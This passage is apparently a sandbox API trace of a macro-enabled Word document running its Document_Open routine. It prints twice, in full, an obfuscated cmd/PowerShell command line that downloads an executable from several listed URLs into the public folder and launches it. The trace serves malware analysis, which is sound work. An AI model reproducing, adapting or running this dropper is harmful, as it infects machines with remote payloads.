pvarResult=0x7a7d210 | out: pvarResult=0x7a7d210) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7d210, pvarRight=0x7a7e020, pvarResult=0x7a7d1f8 | out: pvarResult=0x7a7d1f8) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7d1f8, pvarRight=0x7a7d9c0, pvarResult=0x7a7d1e0 | out: pvarResult=0x7a7d1e0) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7d1e0, pvarRight=0x7a7d900, pvarResult=0x7a7d1c8 | out: pvarResult=0x7a7d1c8) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7d1c8, pvarRight=0x7a7df60, pvarResult=0x7a7d1b0 | out: pvarResult=0x7a7d1b0) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7d1b0, pvarRight=0x7a7dea0, pvarResult=0x7a7d198 | out: pvarResult=0x7a7d198) returned 0x0 [0019.420] VarAdd (in: pvarLeft=0x7a7d198, pvarRight=0x7a7dd20, pvarResult=0x7a7d180 | out: pvarResult=0x7a7d180) returned 0x0 [0019.421] VarAdd (in: pvarLeft=0x7a7d180, pvarRight=0x7a7d420, pvarResult=0x7a7d168 | out: pvarResult=0x7a7d168) returned 0x0 [0019.421] VarAdd (in: pvarLeft=0x7a7d168, pvarRight=0x7a7dcc0, pvarResult=0x7a7d150 | out: pvarResult=0x7a7d150) returned 0x0 [0019.421] VarAdd (in: pvarLeft=0x7a7d150, pvarRight=0x7a7d5a0, pvarResult=0x7a7d138 | out: pvarResult=0x7a7d138) returned 0x0 [0019.421] VarAdd (in: pvarLeft=0x7a7d138, pvarRight=0x7a7dde0, pvarResult=0x7a7d120 | out: pvarResult=0x7a7d120) returned 0x0 [0019.421] VarAdd (in: pvarLeft=0x7a7d120, pvarRight=0x7a7da20, pvarResult=0x7a7d108 | out: pvarResult=0x7a7d108) returned 0x0 [0019.421] VarAdd (in: pvarLeft=0x7a7d108, pvarRight=0x7a7d840, pvarResult=0x7a7d0f0 | out: pvarResult=0x7a7d0f0) returned 0x0 [0019.421] VarAdd (in: pvarLeft=0x7a7d0f0, pvarRight=0x7a7d4e0, pvarResult=0x7a7d0d8 | out: pvarResult=0x7a7d0d8) returned 0x0 [0019.421] VarAdd (in: pvarLeft=0x7a7d0d8, pvarRight=0x7a7dae0, pvarResult=0x7a7d0c0 | out: pvarResult=0x7a7d0c0) returned 0x0 [0019.421] VarAdd (in: pvarLeft=0x7a7d0c0, pvarRight=0x7a7d660, pvarResult=0x7a7d0a8 | out: pvarResult=0x7a7d0a8) returned 0x0 [0019.421] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.421] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.421] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0x7a7e218 | out: ppsaOut=0x7a7e218) returned 0x0 [0019.421] SafeArrayAllocData (psa=0x75e8060) returned 0x0 [0019.421] SafeArrayDestroyData (psa=0x75e8060) returned 0x0 [0019.421] SafeArrayDestroyDescriptor (psa=0x75e8060) returned 0x0 [0019.421] VarAdd (in: pvarLeft=0x7a7ecf0, pvarRight=0x7a7ecd8, pvarResult=0x7a7ecc0 | out: pvarResult=0x7a7ecc0) returned 0x0 [0019.421] VarAdd (in: pvarLeft=0x7a7ecc0, pvarRight=0x7a7eca8, pvarResult=0x7a7ec90 | out: pvarResult=0x7a7ec90) returned 0x0 [0019.421] VarAdd (in: pvarLeft=0x7a7ec90, pvarRight=0x7a7e810, pvarResult=0x7a7ec78 | out: pvarResult=0x7a7ec78) returned 0x0 [0019.421] VarAdd (in: pvarLeft=0x7a7ec78, pvarRight=0x7a7e5d0, pvarResult=0x7a7ec60 | out: pvarResult=0x7a7ec60) returned 0x0 [0019.421] VarAdd (in: pvarLeft=0x7a7ec60, pvarRight=0x7a7e7b0, pvarResult=0x7a7ec48 | out: pvarResult=0x7a7ec48) returned 0x0 [0019.421] VarAdd (in: pvarLeft=0x7a7ec48, pvarRight=0x7a7e630, pvarResult=0x7a7ec30 | out: pvarResult=0x7a7ec30) returned 0x0 [0019.421] VarAdd (in: pvarLeft=0x7a7ec30, pvarRight=0x7a7e6f0, pvarResult=0x7a7e408 | out: pvarResult=0x7a7e408) returned 0x0 [0019.421] VarAdd (in: pvarLeft=0x7a7e408, pvarRight=0x7a7eb10, pvarResult=0x7a7e3f0 | out: pvarResult=0x7a7e3f0) returned 0x0 [0019.421] VarAdd (in: pvarLeft=0x7a7e3f0, pvarRight=0x7a7e9f0, pvarResult=0x7a7e3d8 | out: pvarResult=0x7a7e3d8) returned 0x0 [0019.421] VarAdd (in: pvarLeft=0x7a7e3d8, pvarRight=0x7a7e870, pvarResult=0x7a7e3c0 | out: pvarResult=0x7a7e3c0) returned 0x0 [0019.424] VarAdd (in: pvarLeft=0x7a7e3c0, pvarRight=0x7a7eb70, pvarResult=0x7a7e3a8 | out: pvarResult=0x7a7e3a8) returned 0x0 [0019.424] VarAdd (in: pvarLeft=0x7a7e3a8, pvarRight=0x7a7ebd0, pvarResult=0x7a7e390 | out: pvarResult=0x7a7e390) returned 0x0 [0019.424] VarAdd (in: pvarLeft=0x7a7e390, pvarRight=0x7a7e570, pvarResult=0x7a7e378 | out: pvarResult=0x7a7e378) returned 0x0 [0019.424] VarAdd (in: pvarLeft=0x7a7e378, pvarRight=0x7a7e930, pvarResult=0x7a7e360 | out: pvarResult=0x7a7e360) returned 0x0 [0019.424] VarAdd (in: pvarLeft=0x7a7e360, pvarRight=0x7a7e8d0, pvarResult=0x7a7e348 | out: pvarResult=0x7a7e348) returned 0x0 [0019.424] VarAdd (in: pvarLeft=0x7a7e348, pvarRight=0x7a7e510, pvarResult=0x7a7e330 | out: pvarResult=0x7a7e330) returned 0x0 [0019.424] VarAdd (in: pvarLeft=0x7a7e330, pvarRight=0x7a7eab0, pvarResult=0x7a7e318 | out: pvarResult=0x7a7e318) returned 0x0 [0019.424] VarAdd (in: pvarLeft=0x7a7e318, pvarRight=0x7a7e750, pvarResult=0x7a7e300 | out: pvarResult=0x7a7e300) returned 0x0 [0019.424] VarAdd (in: pvarLeft=0x7a7e300, pvarRight=0x7a7e4b0, pvarResult=0x7a7e2e8 | out: pvarResult=0x7a7e2e8) returned 0x0 [0019.424] VarAdd (in: pvarLeft=0x7a7e2e8, pvarRight=0x7a7e990, pvarResult=0x7a7e2d0 | out: pvarResult=0x7a7e2d0) returned 0x0 [0019.424] VarAdd (in: pvarLeft=0x7a7e2d0, pvarRight=0x7a7ea50, pvarResult=0x7a7e2b8 | out: pvarResult=0x7a7e2b8) returned 0x0 [0019.424] VarAdd (in: pvarLeft=0x7a7e2b8, pvarRight=0x7a7e450, pvarResult=0x7a7e2a0 | out: pvarResult=0x7a7e2a0) returned 0x0 [0019.424] VarAdd (in: pvarLeft=0x7a7e2a0, pvarRight=0x7a7e690, pvarResult=0x7a7e288 | out: pvarResult=0x7a7e288) returned 0x0 [0019.424] SafeArrayDestroyData (psa=0x75e5a60) returned 0x0 [0019.424] SafeArrayDestroyDescriptor (psa=0x75e5a60) returned 0x0 [0019.424] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0x7a7ed08 | out: ppsaOut=0x7a7ed08) returned 0x0 [0019.424] SafeArrayAllocData (psa=0x75e5a60) returned 0x0 [0019.424] SafeArrayDestroyData (psa=0x75e5a60) returned 0x0 [0019.424] SafeArrayDestroyDescriptor (psa=0x75e5a60) returned 0x0 [0019.425] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="CmD wMic wMic wMic wMic & %Co^m^S^p^Ec^% /V /c set %binkOHOTJcSMBkQ%=EINhmPkdO&&set %kiqjRiiiH%=owe^r^s&&set %zzwpVwCTCRDvTBu%=pOwoJiQoW&&set %CdjPuLtXi%=p&&set %GKZajcAqFZkRLZw%=NazJjhVlGSrXQvT&&set %QiiPPcnDM%=^he^l^l&&set %jiIZiKXbkZQMpuQ%=dipAbiiHEplZSHr&&!%CdjPuLtXi%!!%kiqjRiiiH%!!%QiiPPcnDM%! \".( $VeRbOsePReFEREncE.tOstRinG()[1,3]+'x'-jOin'') ( ('. ( ctVpshoME[4]+ctVPsHomE[34]+VnLXVnL) ( ((VnL((uxpeAbfruxp+uxpanuxp+uxpc =uxp+uxp '+'uxp+uxpnew-obVnL+VnL'+'uxp+uxp'+'jectu'+'xp+uxp Suxp+uxpysuxp+VnL+Vn'+'L'+'uxptem'+'.Netu'+'xp+uxp.Webuxp+uxpCuxp+uxplienuxp+uxpt;VnL+VnLeAbnuxp+u'+'xpsuxp'+'+uxpVnL+VnLadauxVnL+VnLp+uVnL+VnLxps'+'d =uxp+uxpVnL+VnL nuxp+'+'uxpeuxp+uxpw-objec'+'t VnL+VnLrandom;eAbbcd ='+' YMjuxpVnL+VnL+uxphttp://www.indpts.com/UVnL+VnLH'+'SD/,httpuxp+uxp://uxp+uxpwwwuxp+uxp.fingerfuxp+uxVnL+Vn'+'Lpun.co.uxp+uxpuk/npZVn'+'L+Vn'+'LdQQy/uxp+uxp,uxpVnL+VnL+uxphttp://www.r'+'uxp+uxpelicstone.uxp+uxpcouxp+uxpm/wuxpVnL+VnL+uxp'+'p-content/themes-suVnL+VnLspeVnL+V'+'nLcted/umuxp+uxpo'+'juxp+uxpp43uxp+uxp/uNssVnL+Vn'+'Luxp+uxpuwuxp+uxpHS/,http://www.wang'+'lb.topux'+'p+uxp/wp-conteuxp+'+'uxpnt/Td/,h'+'ttuxp+uxppuxp+uxp:uxp'+'+uxp//uxp+uxpwux'+'p+uxpww.uxp+uxpfr'+'iuxp+uxVnL+Vn'+'Lpgolitfabrikuxp+uxpen.VnL+VnLse/uxp+uxpzVnL+VnLpuxp+uxpy/YMj.Spuxp+uxplituxp+uxp(YMjVnL+VnL,Yuxp+uxpMj)uxp+VnL+VnLuxp;eAbk'+'VnL+VnLauxp+uxprapas =uxp+uxp u'+'xp+uxpeAVnL+VnLbuxp+uxpnsauxp+uxpdasd.nextuxp+uxp(1, 343245);eAuxp+uxpbhuxp+uxpua'+'s = uxp+uxpeAuxp'+'+uxpbVnL+VnLuxp+uxpenv:public + YMjuxp+uxpGW9YMu'+'xp+'+'uxpj +uVn'+'L+VnLxp+uxp eAbkarapuxp+uxpas + YMj.euxp+uxpxeYMj;uxp+uxpforeach(eAbabc in eAbbcuxVnL+VnLp+uxpd){tuxp+uxpr'+'yuxp+uxp{eAuxp+uxpbfruxp+uxpaVnL+'+'VnLnc.Downlo'+'adFile(e'+'uxp+uxpAbVnL+VnLabc.Tuxp+uxpoVnL+VnLuxp+uxpSuxp+uxptuxp+uxpring(uxp+VnL+VnLuxp),uxp+uxp euxpV'+'nL+VnL+uxpAbhuas);uxp+uxpInuxp+uxpvoke-ItemuxVnL+VnLp+uxp(eAbhVnL+VnLuas)uxp+uxp'+';break'+'VnL+VnL;}catch{write-host uxp+uxpeuxp+uxpAb_.Euxp+uxpxceptionuxVnL+V'+'nLp+uxpVnL+VnL.Messuxp+uxpag'+'e;}}VnL+VnLuxp)-REplaCE uxpGW9'+'uxp,[cHa'+'r]92-CREpLaCE ([c'+'Har]8'+'9+[cHar]77+[cHar]106),[cHar]39-CREpLaCE([cHVnL+VnLar]101+[cHar]6'+'5+[cHar]VnL+Vn'+'L98),[cHar]36) z3L .( 79JEnv:PubLic[13]+VnL+VnL79Jenv:PubLIC[5]+uxpXuxp)VnL) -rePlAce'+' VnLz3LVnL,[cHAR]124-rePlAce VnLuxpVnL,[cHAR]39 -cREpLaCe([c'+'HAR]55+[cHAR]57+[cHAR]74),[cHAR]36) ) ').repLacE('ctV','$').repLacE('VnL',[String][char]39) ) ", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x306c20*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x1, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x306c00 | out: lpCommandLine="CmD wMic wMic wMic wMic & %Co^m^S^p^Ec^% /V /c set %binkOHOTJcSMBkQ%=EINhmPkdO&&set %kiqjRiiiH%=owe^r^s&&set %zzwpVwCTCRDvTBu%=pOwoJiQoW&&set %CdjPuLtXi%=p&&set %GKZajcAqFZkRLZw%=NazJjhVlGSrXQvT&&set %QiiPPcnDM%=^he^l^l&&set %jiIZiKXbkZQMpuQ%=dipAbiiHEplZSHr&&!%CdjPuLtXi%!!%kiqjRiiiH%!!%QiiPPcnDM%! \".( $VeRbOsePReFEREncE.tOstRinG()[1,3]+'x'-jOin'') ( ('. ( ctVpshoME[4]+ctVPsHomE[34]+VnLXVnL) ( ((VnL((uxpeAbfruxp+uxpanuxp+uxpc =uxp+uxp '+'uxp+uxpnew-obVnL+VnL'+'uxp+uxp'+'jectu'+'xp+uxp Suxp+uxpysuxp+VnL+Vn'+'L'+'uxptem'+'.Netu'+'xp+uxp.Webuxp+uxpCuxp+uxplienuxp+uxpt;VnL+VnLeAbnuxp+u'+'xpsuxp'+'+uxpVnL+VnLadauxVnL+VnLp+uVnL+VnLxps'+'d =uxp+uxpVnL+VnL nuxp+'+'uxpeuxp+uxpw-objec'+'t VnL+VnLrandom;eAbbcd ='+' YMjuxpVnL+VnL+uxphttp://www.indpts.com/UVnL+VnLH'+'SD/,httpuxp+uxp://uxp+uxpwwwuxp+uxp.fingerfuxp+uxVnL+Vn'+'Lpun.co.uxp+uxpuk/npZVn'+'L+Vn'+'LdQQy/uxp+uxp,uxpVnL+VnL+uxphttp://www.r'+'uxp+uxpelicstone.uxp+uxpcouxp+uxpm/wuxpVnL+VnL+uxp'+'p-content/themes-suVnL+VnLspeVnL+V'+'nLcted/umuxp+uxpo'+'juxp+uxpp43uxp+uxp/uNssVnL+Vn'+'Luxp+uxpuwuxp+uxpHS/,http://www.wang'+'lb.topux'+'p+uxp/wp-conteuxp+'+'uxpnt/Td/,h'+'ttuxp+uxppuxp+uxp:uxp'+'+uxp//uxp+uxpwux'+'p+uxpww.uxp+uxpfr'+'iuxp+uxVnL+Vn'+'Lpgolitfabrikuxp+uxpen.VnL+VnLse/uxp+uxpzVnL+VnLpuxp+uxpy/YMj.Spuxp+uxplituxp+uxp(YMjVnL+VnL,Yuxp+uxpMj)uxp+VnL+VnLuxp;eAbk'+'VnL+VnLauxp+uxprapas =uxp+uxp u'+'xp+uxpeAVnL+VnLbuxp+uxpnsauxp+uxpdasd.nextuxp+uxp(1, 343245);eAuxp+uxpbhuxp+uxpua'+'s = uxp+uxpeAuxp'+'+uxpbVnL+VnLuxp+uxpenv:public + YMjuxp+uxpGW9YMu'+'xp+'+'uxpj +uVn'+'L+VnLxp+uxp eAbkarapuxp+uxpas + YMj.euxp+uxpxeYMj;uxp+uxpforeach(eAbabc in eAbbcuxVnL+VnLp+uxpd){tuxp+uxpr'+'yuxp+uxp{eAuxp+uxpbfruxp+uxpaVnL+'+'VnLnc.Downlo'+'adFile(e'+'uxp+uxpAbVnL+VnLabc.Tuxp+uxpoVnL+VnLuxp+uxpSuxp+uxptuxp+uxpring(uxp+VnL+VnLuxp),uxp+uxp euxpV'+'nL+VnL+uxpAbhuas);uxp+uxpInuxp+uxpvoke-ItemuxVnL+VnLp+uxp(eAbhVnL+VnLuas)uxp+uxp'+';break'+'VnL+VnL;}catch{write-host uxp+uxpeuxp+uxpAb_.Euxp+uxpxceptionuxVnL+V'+'nLp+uxpVnL+VnL.Messuxp+uxpag'+'e;}}VnL+VnLuxp)-REplaCE uxpGW9'+'uxp,[cHa'+'r]92-CREpLaCE ([c'+'Har]8'+'9+[cHar]77+[cHar]106),[cHar]39-CREpLaCE([cHVnL+VnLar]101+[cHar]6'+'5+[cHar]VnL+Vn'+'L98),[cHar]36) z3L .( 79JEnv:PubLic[13]+VnL+VnL79Jenv:PubLIC[5]+uxpXuxp)VnL) -rePlAce'+' VnLz3LVnL,[cHAR]124-rePlAce VnLuxpVnL,[cHAR]39 -cREpLaCe([c'+'HAR]55+[cHAR]57+[cHAR]74),[cHAR]36) ) ').repLacE('ctV','$').repLacE('VnL',[String][char]39) ) ", lpProcessInformation=0x306c00*(hProcess=0x9c0, hThread=0x9bc, dwProcessId=0xad0, dwThreadId=0xad4)) returned 1 [0019.529] GetLastError () returned 0x0 [0019.530] WaitForInputIdle (hProcess=0x9c0, dwMilliseconds=0x2710) returned 0xffffffff [0019.530] CloseHandle (hObject=0x9bc) returned 1 [0019.530] CloseHandle (hObject=0x9c0) returned 1 [0019.530] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0x7a7eeb0 | out: ppsaOut=0x7a7eeb0) returned 0x0 [0019.530] SafeArrayAllocData (psa=0x75e9220) returned 0x0 [0019.530] SafeArrayDestroyData (psa=0x75e9220) returned 0x0 [0019.530] SafeArrayDestroyDescriptor (psa=0x75e9220) returned 0x0 [0019.530] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0x7a7eeb0 | out: ppsaOut=0x7a7eeb0) returned 0x0 [0019.530] SafeArrayAllocData (psa=0x75e9220) returned 0x0 [0019.530] SafeArrayDestroyData (psa=0x75e9220) returned 0x0 [0019.530] SafeArrayDestroyDescriptor (psa=0x75e9220) returned 0x0 [0019.530] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0x7a7eeb0 | out: ppsaOut=0x7a7eeb0) returned 0x0 [0019.530] SafeArrayAllocData (psa=0x75e9220) returned 0x0 [0019.530] SafeArrayDestroyData (psa=0x75e9220) returned 0x0 [0019.530] SafeArrayDestroyDescriptor (psa=0x75e9220) returned 0x0 [0019.530] SafeArrayAllocDescriptorEx (in: vt=0x0, cDims=0x1, ppsaOut=0x7a7eeb0 | out: ppsaOut=0x7a7eeb0) returned 0x0 [0019.530] SafeArrayAllocData (psa=0x75e9220) returned 0x0 [0019.530] SafeArrayDestroyData (psa=0x75e9220) returned 0x0 [0019.530] SafeArrayDestroyDescriptor (psa=0x75e9220) returned 0x0 [0019.532] IMalloc:Free (This=0x7fefe9e5380, pv=0x79aea70) [0019.541] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document_Open") returned 0x1089c1 [0019.541] IUnknown:AddRef (This=0x7919520) returned 0x13 [0019.541] strcpy_s (in: _Dst=0x7a20d10, _DstSize=0x43, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0019.542] strcpy_s (in: _Dst=0x7a20d60, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0019.542] IUnknown:AddRef (This=0x7346470) returned 0xc [0019.542] strcpy_s (in: _Dst=0x7a20dd0, _DstSize=0x3b, _Src="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB" | out: _Dst="C:\\Program Files\\Microsoft Office\\Root\\Office16\\MSWORD.OLB") returned 0x0 [0019.542] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbba5bf0 [0019.542] strcpy_s (in: _Dst=0xbba5c18, _DstSize=0x5, _Src="Word" | out: _Dst="Word") returned 0x0 [0019.542] IUnknown:AddRef (This=0x7345930) returned 0x8 [0019.542] strcpy_s (in: _Dst=0xbba5c88, _DstSize=0x20, _Src="C:\\Windows\\system32\\stdole2.tlb" | out: _Dst="C:\\Windows\\system32\\stdole2.tlb") returned 0x0 [0019.542] strcpy_s (in: _Dst=0xbba5cb0, _DstSize=0x7, _Src="stdole" | out: _Dst="stdole") returned 0x0 [0019.543] IUnknown:AddRef (This=0x7919ac0) returned 0x5 [0019.543] strcpy_s (in: _Dst=0xbba5d20, _DstSize=0x40, _Src="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL" | out: _Dst="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE16\\MSO.DLL") returned 0x0 [0019.543] strcpy_s (in: _Dst=0xbba5d68, _DstSize=0x7, _Src="Office" | out: _Dst="Office") returned 0x0 [0019.543] strcpy_s (in: _Dst=0xbba5e98, _DstSize=0x9, _Src="Document" | out: _Dst="Document") returned 0x0 [0019.543] IMalloc:Alloc (This=0x7fefe9e5380, cb=0xc8) returned 0x7a8caa0 [0019.543] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x230) returned 0xbba6090 [0019.543] IMalloc:Free (This=0x7fefe9e5380, pv=0x7972120) [0019.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x307640, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0019.543] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0019.544] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Document", cchWideChar=9, lpMultiByteStr=0x307640, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Document", lpUsedDefaultChar=0x0) returned 9 [0019.544] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document") returned 0x10d36a [0019.544] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Document_Open") returned 0x1089c1 [0020.954] GetCapture () returned 0x0 [0020.954] GetCursorPos (in: lpPoint=0x30f780 | out: lpPoint=0x30f780*(x=959, y=696)) returned 1 [0020.954] WindowFromPoint (Point=0x2b8000003bf) returned 0x2021a [0020.954] GetWindowThreadProcessId (in: hWnd=0x2021a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x9d8 [0020.954] SendMessageA (hWnd=0x2021a, Msg=0x84, wParam=0x0, lParam=0x2b803bf) returned 0x1 [0020.954] SendMessageA (hWnd=0x2021a, Msg=0x20, wParam=0x2021a, lParam=0x2000001) returned 0x0 [0086.899] _wfullpath (in: _Buffer=0x309b20, _Path="Normal", _BufferCount=0x104 | out: _Buffer="C:\\Users\\aETAdzjz\\Documents\\Normal") returned="C:\\Users\\aETAdzjz\\Documents\\Normal" [0086.899] lstrcmpiW (lpString1="", lpString2="C:\\Users\\aETAdzjz\\Documents\\Normal") returned -1 [0086.899] GetLocalTime (in: lpSystemTime=0x3095d8 | out: lpSystemTime=0x3095d8*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x13, wSecond=0x9, wMilliseconds=0x77)) [0086.899] _ultow_s (in: _Value=0x5bf1ad1d, _Buffer=0x3096ca, _BufferCount=0x103, _Radix=16 | out: _Buffer="5bf1ad1d") returned 0x0 [0086.899] wcsncpy_s (in: _Destination=0x309250, _SizeInWords=0x108, _Source="*\\CNormal", _MaxCount=0x106 | out: _Destination="*\\CNormal") returned 0x0 [0086.899] CharLowerBuffW (in: lpsz="*\\CNormal", cchLength=0x9 | out: lpsz="*\\cnormal") returned 0x9 [0086.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cnormal", cchWideChar=10, lpMultiByteStr=0x309180, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cnormal", lpUsedDefaultChar=0x0) returned 10 [0086.899] _wcsicmp (_String1="*\\CNormal", _String2="*\\CNormal") returned 0 [0086.900] IMalloc:Free (This=0x7fefe9e5380, pv=0xbaf1550) [0086.900] IMalloc:Free (This=0x7fefe9e5380, pv=0x75edbd0) [0086.900] IMalloc:Free (This=0x7fefe9e5380, pv=0x79ac2c0) [0086.900] IMalloc:Free (This=0x7fefe9e5380, pv=0x75e03d0) [0086.900] IMalloc:Free (This=0x7fefe9e5380, pv=0x75ec350) [0086.900] IMalloc:Free (This=0x7fefe9e5380, pv=0x75e0210) [0086.900] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x18) returned 0x5507270 [0086.900] IMalloc:Free (This=0x7fefe9e5380, pv=0x5507270) [0086.906] IMalloc:Free (This=0x7fefe9e5380, pv=0x796d520) [0086.906] IMalloc:Free (This=0x7fefe9e5380, pv=0x7959980) [0086.906] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x10) returned 0x796d520 [0086.906] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x80) returned 0x7959980 [0086.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="015bf1acda", cchWideChar=11, lpMultiByteStr=0x309080, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="015bf1acda", lpUsedDefaultChar=0x0) returned 11 [0086.906] GetLocalTime (in: lpSystemTime=0x309168 | out: lpSystemTime=0x309168*(wYear=0x7e1, wMonth=0xb, wDayOfWeek=0x2, wDay=0x1c, wHour=0x12, wMinute=0x13, wSecond=0x9, wMilliseconds=0x87)) [0086.906] _ultow_s (in: _Value=0x5bf1ad1d, _Buffer=0x7ac8f6c, _BufferCount=0x9, _Radix=16 | out: _Buffer="5bf1ad1d") returned 0x0 [0086.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0<5bf1ad1d", cchWideChar=11, lpMultiByteStr=0x3090c0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0<5bf1ad1d", lpUsedDefaultChar=0x0) returned 11 [0086.906] IMalloc:Alloc (This=0x7fefe9e5380, cb=0x18) returned 0x7973840 [0086.906] IMalloc:Free (This=0x7fefe9e5380, pv=0x7973840) [0086.906] _ultow_s (in: _Value=0x5bf1ad1d, _Buffer=0x7ac8fc4, _BufferCount=0x9, _Radix=16 | out: _Buffer="5bf1ad1d") returned 0x0 [0086.906] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="0=5bf1ad1d", cchWideChar=11, lpMultiByteStr=0x308ec0, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0=5bf1ad1d", lpUsedDefaultChar=0x0) returned 11 [0086.912] VirtualFree (lpAddress=0x7260000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.913] VirtualFree (lpAddress=0x9be0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.914] VirtualFree (lpAddress=0x9e30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.914] VirtualFree (lpAddress=0xa200000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.915] VirtualFree (lpAddress=0xa210000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.916] VirtualFree (lpAddress=0xa220000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.916] VirtualFree (lpAddress=0xa230000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.917] VirtualFree (lpAddress=0xa2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.918] VirtualFree (lpAddress=0xcac0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.919] VirtualFree (lpAddress=0xcad0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.920] VirtualFree (lpAddress=0xcae0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.921] VirtualFree (lpAddress=0xcaf0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.921] VirtualFree (lpAddress=0xcb00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.922] VirtualFree (lpAddress=0xcb10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.923] VirtualFree (lpAddress=0xcb20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.923] VirtualFree (lpAddress=0xcb40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.924] VirtualFree (lpAddress=0xcb50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.924] VirtualFree (lpAddress=0xcb60000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.925] VirtualFree (lpAddress=0xcb70000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.926] VirtualFree (lpAddress=0xcb80000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.926] VirtualFree (lpAddress=0xcb90000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.927] VirtualFree (lpAddress=0xcba0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.928] VirtualFree (lpAddress=0xcbb0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.928] VirtualFree (lpAddress=0xcbc0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.929] VirtualFree (lpAddress=0xcbd0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.930] VirtualFree (lpAddress=0xcbe0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.930] VirtualFree (lpAddress=0xcbf0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.931] VirtualFree (lpAddress=0xcc00000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.932] VirtualFree (lpAddress=0xcc10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.932] VirtualFree (lpAddress=0xcc20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.933] VirtualFree (lpAddress=0xcc30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0086.934] VirtualFree (lpAddress=0xcd40000, 